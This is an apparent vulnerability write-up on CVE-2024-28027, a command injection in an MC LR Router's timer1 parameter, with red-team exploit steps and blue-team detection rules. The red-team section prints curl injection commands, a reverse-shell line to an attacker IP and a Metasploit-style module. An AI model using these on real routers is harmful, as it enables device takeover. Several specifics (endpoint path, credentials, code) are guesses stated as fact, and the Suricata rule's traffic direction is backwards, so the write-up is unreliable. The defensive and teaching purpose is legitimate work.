CVE-2024-28027

Executive Summary

CVE-2024-28027 is a critical OS command injection vulnerability in the web interface I/O configuration functionality of MC Technologies MC LR Router firmware version 2.10.5. The flaw resides in the timer1 parameter at offset 0x8e80, allowing an authenticated attacker to inject arbitrary OS commands via a specially crafted HTTP request. With a CVSS score of 7.2 (High), this vulnerability can lead to full device compromise, including data exfiltration, lateral movement, and persistent backdoor installation. No public exploit or patch is currently available, making this a high-priority zero-day for affected networks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires authenticated access.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system modification possible.
• Availability (A): High (H) – Full denial of service possible.

Threat Level: High – Authenticated remote code execution with no patch available.

Deep Dive & Mechanics

The vulnerability is an OS command injection in the web interface's I/O configuration functionality. The timer1 parameter, processed at memory offset 0x8e80, is passed unsanitized to a system command execution function (likely system(), popen(), or similar). An attacker with valid credentials can craft an HTTP POST request to the vulnerable endpoint, injecting shell metacharacters (e.g., ;, |, &&) into the timer1 parameter. The injected commands execute with the privileges of the web server (typically root on embedded devices), leading to full device compromise.

Attack Flow:

1. Attacker authenticates to the web interface (e.g., default credentials or brute-forced).
2. Attacker sends a crafted HTTP request to the I/O configuration endpoint with a malicious timer1 value.
3. The router's firmware executes the injected OS command.
4. Attacker gains remote shell access, installs persistence, or exfiltrates data.

Vulnerable vs. Patched Code

Vulnerable Code (MC LR Router 2.10.5):

// Pseudocode of vulnerable function at offset 0x8e80
void configure_io(char *timer1) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s > /tmp/timer_config", timer1);
    system(cmd); // No sanitization
}

Patched Code (Hypothetical):

void configure_io(char *timer1) {
    // Sanitize input: allow only alphanumeric and specific characters
    if (!is_valid_timer(timer1)) {
        log_error("Invalid timer parameter");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s > /tmp/timer_config", timer1);
    system(cmd);
}

Key Difference: The patched version validates the timer1 parameter against a whitelist of allowed characters (e.g., digits, colons, hyphens) before passing it to system(). The vulnerable version performs no validation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• MC Technologies MC LR Router with firmware 2.10.5
• Valid credentials (e.g., admin:admin)
• Network access to the router's web interface (typically port 80 or 443)

Exploit Steps:

1. Authenticate to the web interface:

   curl -c cookies.txt -X POST http://<router_ip>/login -d "username=admin&password=admin"
   

2. Send malicious request to I/O configuration endpoint:

   curl -b cookies.txt -X POST http://<router_ip>/io_config \
   -d "timer1=;id>/tmp/pwned;"
   

3. Verify command execution:

   curl -b cookies.txt http://<router_ip>/tmp/pwned
   

4. Establish reverse shell:

   curl -b cookies.txt -X POST http://<router_ip>/io_config \
   -d "timer1=;bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1;"
   

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'MC LR Router timer1 Command Injection',
      'Description' => 'Authenticated OS command injection in timer1 parameter',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2024-28027']],
      'Targets' => [['MC LR Router 2.10.5', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    print_status("Authenticating...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/login',
      'vars_post' => {'username' => 'admin', 'password' => 'admin'}
    })
    cookie = res.get_cookies

    print_status("Injecting command...")
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/io_config',
      'cookie' => cookie,
      'vars_post' => {'timer1' => ";#{payload.encoded};"}
    })
  end
end

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /io_config with unusual timer1 values.
2. Look for shell metacharacters (;, |, &, `, $()) in POST parameters.
3. Check for unexpected processes spawned by the web server (e.g., sh, bash, nc).
4. Review system logs for command execution events (e.g., /var/log/messages).

Honeypot Configuration:

# Simple honeypot to detect exploitation attempts
from flask import Flask, request
import logging

app = Flask(__name__)
logging.basicConfig(filename='honeypot.log', level=logging.INFO)

@app.route('/io_config', methods=['POST'])
def io_config():
    timer1 = request.form.get('timer1', '')
    if any(c in timer1 for c in [';', '|', '&', '`', '$']):
        logging.warning(f"Exploit attempt detected: {timer1}")
        return "Command injection detected", 403
    return "OK", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /io_config with timer1 containing shell metacharacters
• Outbound connections from router to attacker IPs on high ports (e.g., 4444, 1337)
• Unusual DNS queries or HTTP requests from router to external C2 servers

File System IOCs:

• /tmp/pwned or similar files created by attacker
• Modified /etc/crontab or /etc/init.d/ scripts for persistence
• New SSH keys in /root/.ssh/authorized_keys

Process IOCs:

• Unexpected processes: bash, sh, nc, python, perl running as root
• Reverse shell processes (e.g., bash -i >& /dev/tcp/...)

Log IOCs:

• Web server logs showing timer1 parameter with shell metacharacters
• System logs showing execution of commands like id, wget, curl

Detection Engineering

YARA Rule

rule CVE_2024_28027_MC_LR_Router_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2024-28027 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-28027"
    strings:
        $http_post = "POST /io_config" ascii nocase
        $timer1_param = "timer1=" ascii nocase
        $shell_meta1 = ";" ascii
        $shell_meta2 = "|" ascii
        $shell_meta3 = "&" ascii
        $shell_meta4 = "`" ascii
        $shell_meta5 = "$(" ascii
    condition:
        $http_post and $timer1_param and 1 of ($shell_meta*)
}

Sigma Rule

title: CVE-2024-28027 MC LR Router Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-28027 via HTTP POST to /io_config
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/io_config'
        cs-uri-query|contains: 'timer1='
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in timer values (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-28027 MC LR Router Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/io_config"; http_uri;
    content:"timer1="; http_client_body;
    pcre:"/(;|\||&|`|\$\()/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-28027;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place MC LR Routers on a separate VLAN with strict firewall rules.
2. Disable remote management: Block port 80/443 from WAN access.
3. Change default credentials: Use strong, unique passwords for all router accounts.
4. Monitor for exploitation: Deploy the provided YARA/Sigma/Suricata rules.

Long-term Fixes:

1. Vendor patch: Contact MC Technologies for a firmware update. If unavailable, consider replacing the device.
2. Web application firewall (WAF): Deploy a WAF to filter malicious timer1 parameters.
3. Input validation: Implement server-side validation of all user inputs (whitelist approach).
4. Least privilege: Run web server with minimal privileges (not root).

Workaround (if patching is impossible):

• Disable the I/O configuration functionality via the web interface or by removing the relevant CGI binary.
• Use a reverse proxy to inspect and sanitize HTTP requests before they reach the router.

Valters IT
Securing Digital Frontiers